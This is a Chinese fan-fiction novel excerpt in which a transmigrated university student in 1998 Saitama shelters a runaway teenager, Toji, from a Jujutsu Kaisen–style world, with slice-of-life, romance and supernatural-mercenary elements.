《当着惠的面你敢说他是意外吗？》
1. 邂逅（一）
这里是1998年，埼玉县埼玉市。
我没有想过一觉醒来自己会穿越，还穿越到了隔壁立本。
现在的我是一名女大学生，境况不太妙，因为十多年前经济大萧条问题父母离婚，我被留在了埼玉县老家跟着外婆住。
外婆有点神神叨叨，今年年初离开了这个日了狗的世界，算是喜丧。
妈妈带着再嫁的丈夫和后来生的儿子回来过一趟，我婉拒了搬去仙台市的提议，毕竟我都已经成年了，开春就大二了。
当然更重要的理由是我到底是穿越来的，跟这个生母早断了联系，也没什么感情，对方既然有了新家庭，我又何必掺和进去。
只是这个同母异父的弟弟让我有点在意，这孩子跟外婆一样有点神神叨叨。
大学第一学期我找了一份工作，在便利店打工。
月薪不算高只有七万日元，能满足基本的生活需求。
外婆没留下多少积蓄，只有一栋比较破旧的房屋，因为时常传出闹鬼传闻，目前还处于租不出去的范畴，我愁大学学费和生活费。
第一年还能靠外婆留下来的遗产支撑，之后大概就得靠我自己了。
倒是可以贷款，只是这贷款并不是慈善性质，借的钱最后连本带利都是要还的。
烦恼之余，我甚至想着要不写一本狗血小说赚点钱花。
只是这边似乎更加青睐物哀的美学，这个我完全get不到。
当然更重要的是这里漫画要比小说更为盛行。
我也没想到穿越后面临的问题竟然是缺钱，要是在国内我还能思考创业，在这边就别想了。
今天下班得比较晚，我特意多留了一点时间，等到了打折便当。
这类便当是临近保质期，一点也不耽误正常吃，我买了两份，一份留到明天吃。
回家的路上有经过一条繁华的街道，这里藏着几家牛郎俱乐部，我本来对立本这边的牛郎挺感兴趣，不过在看到广告牌上那土到爆的发型后还是忍不住撇开了眼。
路边是随处可见的长椅子可供人休息，我目光被其中一个躺在长椅子上的少年牢牢吸引住了目光。
这个少年身材发型普通，嘴角有一块明显伤疤，可全身的肌肉昭示着他的力量。
我心里感叹一声，这要是放在后世网上，光是拍张照片都能被称呼一声男菩萨。
雨水突然滴落下来，周围的人也飞快地躲开避雨，我赶紧掏出了伞，却发现睡在躺椅上的少年纹丝不动。
我奇怪，难道不是睡着是昏迷不醒？
我走过去，试探性地伸手，然后手腕被人抓住。
少年睁开眼，以一副无所谓的姿态问：“我无家可归，你要带我回家吗？我可以用身体偿还。”
我愣了一下，“哈？！”
开什么玩笑，哪个正常人会无缘无故把一个陌生人带回家？美少年也不行！
而这个少年一看就是离家出走的那种，这种情况在如今的立本太正常了。
我看了看手中的便当，递过去一份，走了两步又将雨伞盖在便当上，然后提着剩下那份上了公交车。
我家在郊区，公交车过去得半个小时，也不算很远，便利店在大学附近，放学后上班，再赶晚班公交车回家。
时间算得刚刚好。
回家时雨是越下越大，我冲洗了澡，毛巾搭在湿漉漉的头发上，将便当取出来放在桌面上。
便当是冷的并没有影响口味，我吃完后，看着窗外大雨滂沱有些苦恼。
希望明天上学时已经雨停了。
我又想起了那个少年，虽然看着像是成年人，可脸上还带着一丝未蜕变的稚气。
要是年龄再小一点我可能会将人带回家，可他那壮硕的身体让我直摇头，我不是那种烂好心的人，将自己的安全置于危险之地。
日子就这样不冷不热地过去，我习惯了这种上学打工生涯，偶尔也能在牛郎俱乐部外那条街看见那少年的身影，也很快得知这少年的一些消息。
比如很穷，再比如会跟随大姐姐回家混吃混喝。
我心里多了一丝愧疚感，就好像我没有伸手，致使一位少年堕落。
因为愧疚，偶尔看少年沦落到没地方住睡在长椅子上的时候，会送他一份便当。
这大概是我唯一能做到的了。
大学生活很枯燥，我对这个国家没有认同感，连现在学的服装设计专业也不是很喜欢。
我穿越来才发现这具身体跟我长得一模一样，一些喜好也相同，离谱的是笔迹也一样。
这让我恐慌，总不能是同位体吧？
但是很快我又发现了另一件让我惶恐的事，那就是东京多了好几个町其中一个叫米花町。
我知道自己穿进二次元了。
要是穿进年代文，我肯定是奔赴在发家致富的路上，偏偏穿进了二次元，我是该围观米花町地爆炸日常，还是围观怪盗基德幼稚的盗取宝石游戏，又或者不怕死地欣赏死神小学生的死神光环？
我选择远离，二次元世界东京是危险高发区，相对而言埼玉显然很友好这里生活很平静。
时间来到了夏季，进入七月下旬大学正式放假，未来将会有一个月的假期，直到九月开学。
我工作的时间变多了，顺便调整了一下工作时间，白天的上班时间也跟着变多。
夏季多雨，更不要说是立本这样的岛国，基本上每年都有台风袭击。
不管是电视还是广播都有播报即将来临的台风天，我下班后跟着抢了一些物资，担心房屋会漏水，还买了雨布。
我回家提着买来的东西往家赶，半路上又看见了躺在长椅上与周围急匆匆赶路截然不同的身影。
我犹豫了一下走了过去。
“台风快要来了，你也赶快回家吧。”
躺在长椅上的少年睁开眼，懒散道：“我没有家，怎么姐姐愿意带我回家？”
我皱眉，“你是没地方去吗？连个可以借宿的朋友都没有吗？”
少年坐起身，表情有些玩味，对我轻佻道：“有啊，经常有姐姐带我回家～”
我深吸一口气，别说了，再说我就真的愧疚了。
“我家里还有一间待出租的房间，只是连续几个租客都说闹鬼，你要是不介意可以暂时住在那里，等台风天气过了再说。”
“不要。”少年
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又躺了回去，“我没有钱，也付不起房租。”
“不要钱，你先住着，找到工作再说。”
就当我发善心了，说不定能挽救一个迷途的羔羊。
少年露出意外之色，紧跟着又慢悠悠道：“我有工作哦，你也是看中了我的身体？没问题，只要愿意付钱～”
“哈？”
我满脸问号，这是正常人该说的话吗？
再看看年纪不像是很大的样子我忍不住问他年龄。
“十七，十七岁哦～”
我忍不住吐血，十七岁跑出家做牛郎，我对这个社会彻底绝望了。
我将人从长椅子上拉起来，“跟我走，我给不了你什么，起码能给你一个落脚的地方。”
少年很高，站起身我得仰视，有点嫉妒，这家伙绝对有一米八以上。
说实话这个身高在立本也很少见。
我提着两袋东西在前面走，不时回头看看他有没有跟上。
他倒是自在，双手放在脑后悠闲跟上。
我家埼玉东边，已经算是郊区，这边有不少老旧的社区，都是木质房屋，木质房屋有个缺点，住上一些年外表会变得很破旧，若是遭到虫蛀转眼就变成危房。
这个房子的房主不是我，是我的母亲，房子算是让我临时居住，大概能住到大学毕业能够独立生活。
所以房屋破旧我也没有修的想法，这栋房子更大可能是过些年卖掉或者推倒再重建。
重建概率不大，母亲已经嫁到外地，有自己的家庭，不可能再回到埼玉这边。
这栋房子未来可能是要卖的。
我倒是对这房子没什么留恋，毕竟我也没有之前的记忆。
房子就是两层房屋，上下各三间，我住在二楼，一楼是外婆原来住的房间，一间是外婆原来的住所，如今放置了她的牌位。
还有一间是库房堆积着用不上的杂物，最后一间是被封起来的房间，外婆在时就不允许我进入，神神叨叨说里面封印着邪物。
我最怕这些神神叨叨的东西，外婆过世一楼三间房间我都封起来，只留了二楼。
二楼我住了一间，另外两间本来打算租出去，但是接连几任租客都说闹鬼，房子便烂在了手里。
要是能租出去，也能收回点租金，我的日子也不用这么艰难。
叹息一声，我领着少年上了二楼，让他稍等片刻后，先回了我住的房间放下东西拿了钥匙开门。
屋内干干净净，也空空荡荡。
我领着他进去，开了灯后说，“楼下有旧床，等一下我跟你搬上来，还有被子……”
我想了一下，我自己屋里还有多余被褥，是母亲一家过来时用的，我拆洗后收了起来，夏天也用不上厚被子，帮人帮到底先借给他用。
少年姿态轻松走了进来，目光放在了浴室位置。
我领着他走进去，开了水龙头道：“热水都是有的，就是不明白总有人闹鬼，我来打扫过，什么问题都没有。”
少年瞥了一眼屋内，然后摸着肚子理直气壮道：“我饿了！”
我叹了口气，心里默念做好事攒功德，然后道：“稍等，我回去做好了叫你。”
2. 邂逅（二）
桌上摆着两碗乌冬面，我一碗他一碗，连棵青菜都没有。
面是速食，就是放水煮开面再放调味料的那种，多加一颗鸡蛋对于我来说都算丰盛。
我会做饭，只是这里物价太贵，相对于买食材做饭还不如吃便当划算。
特别是打折便当。
打折便当根本没有坏，只是过了最佳赏味期。
面煮好，我抱着铺盖敲响了对方的门，我住在最里间，他住在楼梯口，我们中间还隔着一间空房间。
门没有关，我看到他就这么躺在地上，听见声音睁开了眼。
“不要在地上睡。”
地板虽然是木地板，却不是榻榻米，睡着硬邦邦地不舒服。
“先去吃饭，吃完饭我们下去搬床。”
我皱了下眉说。
少年打着哈欠，一副困顿模样，然后主动出了房门。
我看着空荡荡的屋子总觉得哪里不对，墙壁上是不是多了些痕迹？
“走啊，不是吃饭吗？”他催促道。
我也没有多想，关上灯带上了房门。
乌冬面味道也就那样，我最爱的是豚骨拉面，特别是里面的流心蛋和叉烧。
便利店附近有街头餐车，偶尔我吃腻了便当会在下班后去哪里改善伙食。
我总觉得跟正规的料理店相比，还是这种餐车味道更佳。
我不是很饿，吃了一半然后将鸡蛋吃了，等抬头他已经干掉了一碗面。
我一看就知道他饿坏了，干脆将汤锅端了过来。
“对了，我还不知道你的名字。”
“Toji。”
“嗯？冬至的意思吗？”
我对这个词印象很深，因为我是冬至那天过来的，当时外婆嘴里念的就是这个词。
我很庆幸我是大一过来不是高三，不然我真不知道怎么参加立本的高考，又怎么考上大学。
话说叫冬至该不会就是冬至出生的吧，这名字起得也够潦草。
冬至少年嗯了一声没有反驳。
我就默认了，“我叫夏、立花，你叫我立花姐就行。”
他已经将剩下的面都吃光了，然后一推碗筷道：“谢谢款待，那么要开始吗？”
我满脸问号，开始什么？
下一秒就见他手放在了扣子上，我大惊失色，慌忙起身，“你个小鬼在搞什么？”
“报答呀，不都是这样，跟姐姐回家默认身体做报酬吗？”
我脑子一转飞快道：“那你清理锅碗，清理锅碗就当是对我的报答了！”
我真是罪孽深重，只是伸手拉一把就能挽救一个失足少年，我竟然没有，放任他堕落。
什么拿身体报答，他之前都遭遇了什么？
冬至少年“啧”了一声，不情不愿地将桌面收拾干净。
我甚至没等他清理干净炉灶，就将他推到了房门外。
关门之前我嘱咐道：“晚上有暴风雨，别开窗户，要是房间漏雨跟我说一声！”
我洗了个澡，看着外面不像是下雨的样子，我又拿了把伞出门。
便利店那边计划停业，毕竟台风天市民该储备的食物和水都储备了，便利店也没必要冒着危险营业。
本来我一个人能凑合就凑合，可如今家里多了一个人，还是个长身体的少年，储存的那点食物和水明显不够。
我路过楼梯时敲响了门，门被人拉开，少年是光着膀子，我吓了一跳，连忙扭过头去。
“我现在去附近的超市，我准备的物资不够，你帮我一起拿回来。”
我瞥了他那八块腹肌，暗暗咋舌，他是怎么练出这副身材的？
少年套上了衬衫，踩着拖鞋，一副该死的松弛感，比她这个外国人松弛感还要足。
附近有几家中小型超市，我们没有车能拿的东西不多，只能去最近的一家。
超市差不多都快搬空了，我本来还在考虑买些什么，等到了这里发现不用考虑了。
哪个货架少就去哪个，对台风天有经验的本地人会告诉我，哪些需要我准备。
我逛了一圈发现本地产的大米卖得最多，还有方便储存的方便拉面，其次是蜡烛、瓦斯炉等等。
我怀疑台风天会停电，不然这两样也不会卖得这么好。
蜡烛买了一包，一天一根足够用了。
还有瓦斯炉，买了三瓶气送一个简易炉灶的那种。
真要是断水断电，瓦斯炉好歹能烧开水煮面。
又拎了两大桶矿泉水，方便食品又买了一堆。
我是按照七天的量准备，买完了推着车去结账，然后意识到身边少了个人。
人是什么时候丢的？
我在收银台排队时陷入沉思，好像进超市后我就没见到。
所以人跑哪里去了？
结完账，我在超市门口的三台弹珠机旁发现了某少年的踪影。
我满头黑线，就这么拎着死重的三大袋东西站在他身后，看着他以最快速度输掉了手中的弹珠。
然后用轻飘飘的语气问，“你哪来的钱？”
这家伙不是说身无分文吗？
少年根本不带回头的，“捡的。”
这话连小孩都骗不过。
最后一颗钢珠麻利输掉，他脸上满是不爽，“啊，运气可真是不好。”
这何止是运气不好，旁边人虽然是输多赢少，可好歹有赢过，这家伙是一输到底，完全是给弹珠机送钢珠。
我眼睁睁看着他输完钢珠，又从口袋掏呀掏，什么都没掏出来，又若有所思地望着我。
我顿时心生警惕，“买好了，该回去了！”
“知道你穷，没打算找你要钱。”
这话令我心中大怒，穷怎么了？我吃他家大米了吗？
这个讨人厌的小鬼，别忘了现在还需要靠着我，我将几袋重东西塞他手里，提着吧你！
台风来得快，夜里下起了暴风雨，房子都被吹得咯吱响，我一整夜都没睡怎么睡，半夜听见滴答声，又爬起来找盆来接水。
隔天上午还是狂风暴雨，楼下排水也不知道哪里堵住了，水都把草淹没了，要不是一楼台阶高，这会儿水都进屋了。
我觉着不怎么起作用的伞下去扒开被草堵住的下水道，水打着漩没入下水道。
突然眼角浮现了一抹银光，仔细一瞧竟然是一条大鲫鱼。
哪里跑来的鱼？
我第一反应就是一把卡住了鱼嘴提
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起来。
“哟～”
头顶上传出声音，我抬头看见少年趴在栏杆上往下望。
“姐姐，你可真穷呐，不会想吃河鱼吧？”
立本这边很少吃河鱼，因为他们吃鱼爱生吃，河鱼生吃太腥，再说这里本就是岛国，海资源丰富，自然也没必要勉强自己吃河鱼。
这边常见的鲫鱼鲤鱼都被当作了观赏鱼。
我不理会上方的杀心言语，这可是白送上手边的肉，五斤重的大鱼，我咽了咽口水，大雨天吃个烤鱼还不知道有多舒服。
我提着鱼上楼先将鱼处理干净，再用调料腌制了，然后翻冰箱找了几样配菜，少了葱又跑到一楼从某个花坛里拔了几棵。
这个混账不要脸的玩意在烤鱼香味传出来后，一点也不见外地走了过来。
刚洗了个澡，头发还是湿答答，看到他大摇大摆一点也不见外地坐下，不由翻了个白眼。
算了，谁让我滥发好心将人带回来，等台风天过去，管他去哪！
烤鱼好了之后我又红烧了，放了照烧酱油和胡椒粉生姜和葱，汤熬到一半时将提前煮过的土豆块和胡萝卜放进去。
然后连着锅一块端到了桌上。
我拿着筷子自己夹菜，反而这家伙装模作样地拿着筷子合手，“我开动啦～”
才动了一筷子，这家伙夹菜速度就变快了。
我有些心满意足，穿来这个地方这么久，还是第一次吃到这么合口味的饭菜。
好了，我下定决心了，等大学毕业我就回种花工作！
五斤重的大鲤鱼，我只吃了不到半斤，剩下的连同配菜全都被这个家伙干掉了。
吃完后他伸了个懒腰，不知道何时换了一件深蓝色的衬衫贴着平坦的小腹，我忍不住咋舌，这么多东西他都吃到哪里去了？
下午台风变小了，雨也跟着变小，看样子明天台风该过去了。
我烦恼地看着屋顶，打算等天晴找人修一下，毕竟还要住两三年。
隔天一早收到了短信，便利店恢复上班，也就是说我得立马去上班。
我赶紧换了一身衣裳，匆匆忙忙提着包往外走，走到楼梯口想到这家伙身无分文，从包里掏出了五百日元从门缝塞进去，匆匆忙忙去赶公交车。
今天是早班，下午回来得也早，回家的时候提着一袋子蔬菜，刚走进巷子就看到我家的二楼门是敞开着的，定眼一瞧是靠楼梯的那一间。
我飞快地赶回家，上楼后就看见敞开着门的屋子没有人。
这间倒是比我住的那间还好，竟然没有漏雨。
屋内空空荡荡，只有一床铺盖随意摆放在榻榻米上。
我心里有一口气提不上来，再次暗骂自己多管闲事，放下袋子脱鞋进去，将被子叠好塞进旁边的柜子里。
我带上了门，准备做晚饭吃。
我一个人可以随便凑合，可家里多了一张嘴，再吃便当就不合适了，还是做饭方便。
煮了米饭，做了咖喱牛腩。
我没急着吃，等到天色暗沉下来也没听见楼梯有动静，我这才反应过来，这家伙不会是已经离开了吧？
吃着晚饭，我恨恨道：“这个家伙走就算了，怎么不把钥匙留下来？”
3. 邂逅（三）
这个夏季热得人心烦躁，工作的时候还好，店里有冷气。
回到家的日子就难熬了，二楼热起来跟蒸笼一样，我收拾收拾搬到了楼下客房。
也不知道是不是心理作用，楼下确实凉爽很多。
直到九月开学我都没再见到冬至，他好像在附近消失了一样，我开始猜测他是不是放弃流浪回家去了。
这样也好，小小年纪就不应该在外流浪。
开学后我的精力都放在学业上，每日学习绘图，还学习了和服的设计。
我心里是非常抵触，还是强迫自己学下去。
我倒是想换专业，可学校里没有我喜欢的专业，再加上现在已经大二，再熬两年我就能毕业工作了。
开学后白天上学，便利店的工作申请成了中班，晚上十一点才下班。
这么晚只能赶最后一班公交车，要不是住学校的寮每月要交钱，我都想搬到学校去住。
这天临近凌晨十二点我一身疲惫地回家，推开门意识到不对劲，猛地往后退就看到二楼靠楼梯的那间房间灯是亮着的。
我一瞪眼，难道是有小偷？
问题是哪个小偷会进空屋？
我家房子闹鬼在附近是出了名的，去年附近的不良中学生还跑来开试胆大会，被我每人索要五百元门票费用给打发走。
有出钱的也没住一晚就被吓得屁滚尿流跑了，之后我就更加后悔了，因为贪图这点门票钱，断了将房屋租出去的希望。
但也不是没有好处，闹鬼的传闻让附近的不良都绕着我家走。
我踩着楼梯大步上楼，虚掩的门被我一脚踹开，等看清里面的情景我整个人都傻在了原地。
少年坐在地上，左手捂着腰间伤口，正面无表情盯着我。
我慌张地进去，蹲下问，“怎么受这么重的伤？”
我颤抖着手想要去碰他的伤口，最终还是没敢碰。
一个多月没见，少年看着瘦了不少，他腰间绑着绷带，鲜红的血液从绷带渗出来。
除去腰间的伤口，他手臂还有胸口都有伤，衣服上也是斑驳血迹。
我被吓得腿软了，“去医院，去医院包扎！”
少年屈膝靠着墙壁上坐着，身边散落了一些开封的绷带和药水。
身上的衬衫破破烂烂像是被轰炸过一样。
他一副没事模样懒洋洋地开口，“小伤，过几天就好了。”
我却没有他的自信，这么严重，都流了这么多血，光看着就知道伤口不小，我的眼泪都被吓得流了出来。
泪水掉落，我抓住他的手臂，坚定道：“走，这种伤势必须去医院！”
他看见我的眼泪，愣了一下，忍不住问道，“你在为我哭吗？”
我擦拭眼泪没回答这个问题，“走，下楼，我们去医院！”
抓起他的手臂放在我的肩膀上，我试图搀扶着他下楼。
少年大概是被我的眼泪吓到了，又像是发现了什么惊奇事物一样，顺从地跟着我下楼。
下楼后我让他稍等片刻回屋取了银行卡，等出了巷子外面，等了一会儿才拦截到一辆出租车。
立本打出租车是一件很奢侈的事，等到了医院我肉疼地付了车费，然后扶着少年赶紧进了急诊室。
医生重新冲洗伤口缝合上药，包扎好后交代了注意事项。
我一脸凝重点头，等记下后回头看了一眼已经跟没事人的少年后，又问医生，“需要住院？”
医生看看我，“原则上不要，不过太晚了，留院观察一下，明天没问题再出院。”
我们运气不错，进了一间有三张床的病房，进去时病房里没有人。
少年进来后一直盯着我，实际上从离家后他就一直在看我。
先前看他伤势严重，我还能忍，现在伤口都缝合好了，我忍不住开口。
“你盯着我做什么？”看得人头皮发麻。
“你刚才在为我哭？”
他打定主意要寻求答案。
我脸一下红了，被气得，我才不会承认自己被吓哭了。
“没错，是为你哭。”我企图敷衍过去。
满意了吧？满意了就闭嘴吧！
少年心满意足坐下，“这还是第一次有人在乎我，有人因为我受伤而哭。”
我愣了一下，忍不住问，“以前没人在乎你吗？你的父母呢？”
少年满不在乎道：“他们已经去世了。”
我瞬间脑补一个可怜少年父母去世后辗转各个亲戚家过着寄人篱下的生活。
难怪他小小年纪就跑出了家，原来他的身世这么悲惨。
我现在的身世也不怎么样，可好歹还有个住处。
我声音柔了下来，“以后你就在我那住下，再找一份工作，时间长了一切都会好起来。”
少年没有吭声，只一心盯着我。
我被他这专注眼神盯得不自在了，目光瞄到他包扎好的伤口，忍不住问：“你这段时间去哪了？怎么弄出了一身的伤？”
少年撑着床板不在意的口吻道：“哦，遇见了一个垃圾。”
＊＊＊
禅院甚尔看着面前的女人很是惊奇，这还是头一次有人因为他受伤而哭。
从禅院家跑出来已经一年多了，他在外面流浪一年，最开始是混迹黑市抢诅咒师的任务。
吃过没有术士的苦，他在接悬赏任务时对术师从不手下留情，短时间内不少术师死于他手中，竟然得了个术师杀手的称号。
禅院甚尔对这个称号很是不屑，只觉得外面的术师跟纸糊的一样，连他一个普通人都能拿下。
面前这个女人是意外，他当初只是想混个临时落脚点，这个女人竟然烂好心什么回报都不要就将他带了回来。
这种随意捡人的行为在他看来就是脑子有病，他一贯不喜欢这种烂好心的女人。
离开后他过了一段潇洒生活，四处接任务收集咒具，有了钱就跑去赌，没钱了就借住女人家。
昨日他接到了一个祓除咒灵的赏金任务，在一处废弃工地上，开发商传出话愿意出高价祓除工地上的咒灵。
一级咒灵而已，根本伤不到他分毫，只是没想到有人提前装了大量炸弹，想为死在他手里的诅咒师报仇。
他的□□很强，但是那么多炸弹下来也够呛。
虽然干掉了来报仇的诅咒师还是受了不小伤。
也不知道为何，受伤后脑子里第一个浮现的是这个地方，他只是顺从了自己的心意回到了这个破房子里。
他以为这个女人发现他受伤会怕麻烦赶走他，没想到
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她看见他受伤竟然落下了泪。
泪水落在地板上，他像是被烫了一下，心也跟着揪了一下，许久才反应过来，竟然有人为他这样糟糕的人落泪？
＊＊＊
什么兼职？我脑海里第一个浮现的是小白脸工作，再看看他受的伤，现在小白脸竞争都这么激烈了吗？
我想要问，可是看了他的伤口还是叹息一声咽了回去。
我在医院病床蹭了一晚，幸好现在还不算冷。
早上我有一节课是在九点多，帮他买了病人餐，又打电话给同学让对方帮忙请假。
伤药暂时不用换，我帮着办了出院手续，还租了个轮椅推着他出院。
出了院，看着医院门口拥挤的公交车，我一咬牙再次拦截了一辆出租车。
我脸上带着愁容，这两天花费超过了我预期，一个月工资就这么没了。
等回到家，我没让他上二楼，而是将一楼收拾出来让他住着，又买了猪肝收拾了回来煮粥给他补血。
忙完后我一看时间不早了，慌慌张张出门，临出门前我交代道：“粥沸了关小火，再放一指甲盖多的盐，放入猪肝焖五分钟，我下午有课还得上班，晚上会请假早点回来，你一个人留家里，要是无聊可以看电视。”
我看了一眼手表，“来不及了，我得走了！”
“等等！”他突然叫住了，我回头就看到有什么飞了过来，我手忙脚乱接住，竟然是一张银行卡。
什么意思？
我诧异看他。
少年扭过头去，耳朵有点红，他粗声粗气道：“里面有一点钱，你拿去用。”
我将卡还了回去，认真道：“这钱你留着，未来日子还长着呢。”
我怎么能收他卖身的钱？
再说他还未成年未来用钱的地方还多着呢，这钱对他来说更有用。
“拿着！”少年快速念了几个数字，“这是密码，里面钱不多，就当我还你的医药费。”
我急着赶去上学，实在是没工夫跟他争论，算了，还是等回来再说。
下午只有两节课，课后同学都在讨论下月的校园祭。
说是下个月，其实再过两个星期就到了。
社团前辈太田胜过来找我。
“社团准备做一个鬼屋，你要不要也参与进来，扮鬼吓人很有趣。”
我拒绝了，“抱歉，前辈我答应了同学开咖啡厅。”
太田胜是一个有点黑皮的长发帅哥，在学校也算是受欢迎的一员，当然社团里的人都知道他是个怕事的胆小鬼，什么帅哥光环在我这里自然不起作用。
我其实对表演也不感兴趣，只是穿越过来已经加入了电影社，跟随研究生前辈铃木绫子一起负责会社的影视服装。
要不是铃木学姐出手够大方，我早退社了。
拒绝了太田胜，我一看时间不早了，忙收拾背包赶去打工。
路过银行时，我起了好奇心去查卡里的钱，一看里面有一百多万的余额，我倒抽一口气。
这个班上的我神不守舍，请了两个小时假，提前回了家。
还未推开门就见到门被人从里面拉开了，电视机的声音从门内透出来。
我心里多了一丝怪异，这还是我家吗？他太自在了，怎么感觉像是他的家？
4. 邂逅（四）
禅语甚尔难得有闲情留在房间里看电视，往常他都是去柏青哥店打发时间。
不知道为什么，只要想到那滴眼泪，他就对赌博没了兴致。
他搞不懂心里的想法，不过他一向遵从直觉。
目光虽然放在电视上，耳朵却早听见了外面的动静，他转过头就看见被推开的门。
少女面带红润，额头略带湿润的头发粘在额头上。
她目光看过来，禅院甚尔只觉得自己被烫了一下，手脚都不知道该怎么放。
少女提着菜走进来，面带关心地问他的伤势。
“没什么大不了。”
他漫不经心回答，余光却不住在她身上打转。
很奇怪明明不是很漂亮的容貌，却意外吸引人，灯光下脸上的透明绒毛看着也很可爱。
少女似乎松了一口气，提着食物进房间开始处理起来。
“我买了内脏，你失血太多，最近几天多补补。”
她将食材放入锅内煮，才走出来边擦拭手边掏出了他上午给的那张银行卡。
“这钱太多了，里面有一百多万呢，我不能要。”
一百万很多吗？
禅院甚尔心不在焉想，他前不久才买下一个价值两亿的特级咒具，他知道卡里剩了点钱，却不记得剩下了多少。
一百万还不够他去地下赌场玩一把。
“这点钱很多吗？”
少女像是被这话给噎了一下，上下打量他。
禅院甚尔不自觉挺直了腰，就像是无死角展现自己的男性魅力。
少女并未发现这一点，只是惊讶问道：“你这话听起来跟大家族出来的少爷一样，一百万当然多……”
她语重心长道：“你这个年纪正是上学的年纪，在外面胡乱混也不是办法，好歹有个高中学历，将来出去找工作也容易。”
“一百万看起来多，可你得为未来着想，吃饭读书哪一样不花钱？”
禅院甚尔心思却放在了其他上面，话说这次任务的尾款还没打过来吧，吃了一记闷亏，他都忘记交任务了，还有那个情报贩子中介可别吞了他的任务金。
“你之前在哪里上学？先想办法将学籍迁过来，再找个愿意接收你的学校。”
少女说了一堆，禅院甚尔只听了这最后一段。
学校？啧，好陌生的词。
他懒洋洋道：“没去过学校，没上过学。”
禅院家的人只上私塾，他学得最多的是体术，至于文化课当然是围绕咒术界历史和咒灵来教。
赏金猎人需要学历吗？
不是只要会杀人、会祓除咒灵就行了吗？
他离开家的时候只抢走了禅院家祖传的特级咒具游云，凭借游云才在黑市闯荡出一些名声。
他这样没有一丝咒力的普通人，想要祓除咒灵只能依靠咒具自带的术士。
只要有咒具就行了，需要什么学历？
＊＊＊
没上过学？
我惊住了，实在是经历过九年义务教育的我实在没法相信还有人没上过学？
但很快我又反应过来，这里是立本，也不对，立本也有义务教育。
他以前过的都是什么日子，因为寄人篱下亲戚不关心，连上学都不管吗？
我这么想也这么问了。
少年愣了一下，笑着拍手叫好，“没错，那地方就是个垃圾。”
嘴角的伤疤舒展开，“那些人都是垃圾，不仅不让我上学，那些垃圾生的小垃圾还一起霸凌我！”
天哪，立本不是发达国家吗？怎么还有这样的事出现？
不对，霸凌好像也是这个国家的特产。
难怪他会离家出走，从小生活在那种环境，要是我，我肯定也跑。
现在我不仅觉得他离家出走不是错，还觉得他应该早点跑。
我严肃道：“义务教育是每个公民都该享受到的待遇，你亲戚这是触犯了法律，我们去找律师告他们！”
少年像是听见了什么天真的话，捂着嘴不住地笑，笑到弯起了腰。
我连忙大叫，“伤口，注意伤口！”
少年坐正了，脸上的笑容消失变成了冷漠，“没用的，我那些亲戚在当地是有势力的大家族，法律拿他们没办法。”
我想了一下立本这边好像还真是这样，什么司法公正在这边就是扯淡。
我叹了口气，也不提让他回家了，将卡推了过去。
“以后路还长着，这些钱你留着，在社会上生活处处少不了钱。”
少年目光紧紧盯着我，“就当是我提前交的房租。”
我有些不自在地垂下眼眸，真要收下我岂不是成奸商了？
我这里房屋破旧，又有闹鬼传闻，房租其实很低，三万一个月，租一年也用不了一百万。
“这样算一年房租，剩下的就当是你的伙食费。”
我承认我缺钱，实在是扛不住金钱诱惑收下了。
……
第二天上午我请假推着他去换药，顺便归还轮椅。
护士拆开绷带啧啧称奇，“都快愈合了，真的只有三天吗？”
少年一脸不在意，反而脸上挂着这不是理所当然吗？
我本来也惊奇，可转念一想，活生生的米花町就在东京，高中生变小学生，二次元发生什么都不为奇。
“我弟弟体质很好。”
少年听见我这么一个称呼惊讶了一瞬，紧跟着不满道：“谁是你弟弟？”
我敲了他一下头，“闭嘴啦。”
然后继续跟护士交流，“所以可以提前拆线了吗？回去要注意什么？”
护士姐姐微笑道：“伤口愈合得很棒，可以拆线，回去后要用碘伏涂抹伤口表面，保持伤口干净就可以了。”
“那饮食呢，饮食有什么需要忌口的？”
……
回去的路上少年就一直沉默，我提着药上了公交车，突然感觉到有什么人在靠近，紧跟着是一声撕心裂肺的哭喊声。
我回头见少年掰着一个矮冬瓜男人的手，一脸杀气腾腾。
“喂，猴子，你当我是死人吗？”
我回头看了一眼矮冬瓜敞开的□□，很快意识到了什么，忍不住一阵恶寒。
等我反应过来已经一脚踹了上去，直接将矮冬瓜踹的声音都发不出来了。
我可不是那种遭遇到咸鱼手默不作声的女生。
总之一片混乱后，警察很快抵达现场。
做完了笔录，警察看到了少年身上的伤，眼神带上了警惕。
我赶紧解
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释，“我弟弟身上的伤是为了救我被极道打伤，我们今天是去医院换药。”
警察目光立马变了，还问起了受伤时发生的事。
我顺口提了便利店附近两个帮派的冲突，这不算是骗人，便利店附近有不少柏青哥店，那里也是帮派收保护费的场所。
听说少年是为了接我下班，而撞上了帮派冲突，警察也就信了，那场冲突被波及的普通人有不少。
离开了现场，少年双手放在脑后。
“刚才那个警察根本没有相信。”
我一脸不在乎，“我知道，警察只是一份工作，大家都不想找麻烦，我给个说的过去的理由，他也不想多管闲事。”
我拍了拍他的肩膀，“成年人的世界不是非黑即白，有时候需要圆滑一点，给对方也给自己一个台阶下。”
少年若有所思。
少年的伤好得很快，才第五天已经结疤的伤口往下掉痂。
一些他能处理的伤口自己涂抹药水，一些碰不到的得我回来帮忙。
我打算辞掉便利店的工作，我的学姐铃木绫子很欣赏我，邀请我加入她私人工作室。
我不需要每日上班，只需要按时交上设计图即可，偶尔工作室需要才去一趟。
我都没有多考虑，就拜倒在学姐给的待遇下，不愧是铃木财团的大小姐，一出手就是大手笔。
不仅给了我高额工资，还给了一点分红。
我不是很喜欢服装设计这个行业，谁让我有超越二十多年的眼界，设计图上总有让这个时代人感到惊艳的细节。
这就是时代赋予我的开阔眼界，这红利我可以吃二十年，二十年后我混不混时尚圈都不一定了，至少那时我也该赚够退休的钱了。
辞掉便利店的工作，我空闲时间变多了，除了上课大部分是参加社团活动。
至于少年冬至，这段时间也是早出晚归，有时候一夜都不回来，我也没有多问，完全是把他当作一起拼饭的房客对待。
这日社团活动结束后，铃木绫子邀请社团成员一起去别墅游玩。
“我妹妹很想认识大家。”
电影社社长池田知佳子一脸高傲道：“我很忙的，可没有空出去玩。”
她很有人气，作品《青色王国》获得了最佳新人奖，成为电影圈备受瞩目的超强新人。
已经踏入娱乐圈的她自然看不上我们这些混在学校社团的成员。
社团公认憨厚的老实人高桥良一第一个答应，他嘿嘿笑着道：“去别墅啊，我们这样普通家庭出身的人可是很少有机会去。”
“社长去吧，这可是铃木的邀请。”
高桥良一又笑眯眯看向我。
“喂，立花，你也想去吧？”
我被cue到正打算开口，却被太田胜这个花花公子抢先。
“听说铃木的妹妹很漂亮。”他拨动了一下长发。
“真是期盼一场成人的恋爱。”
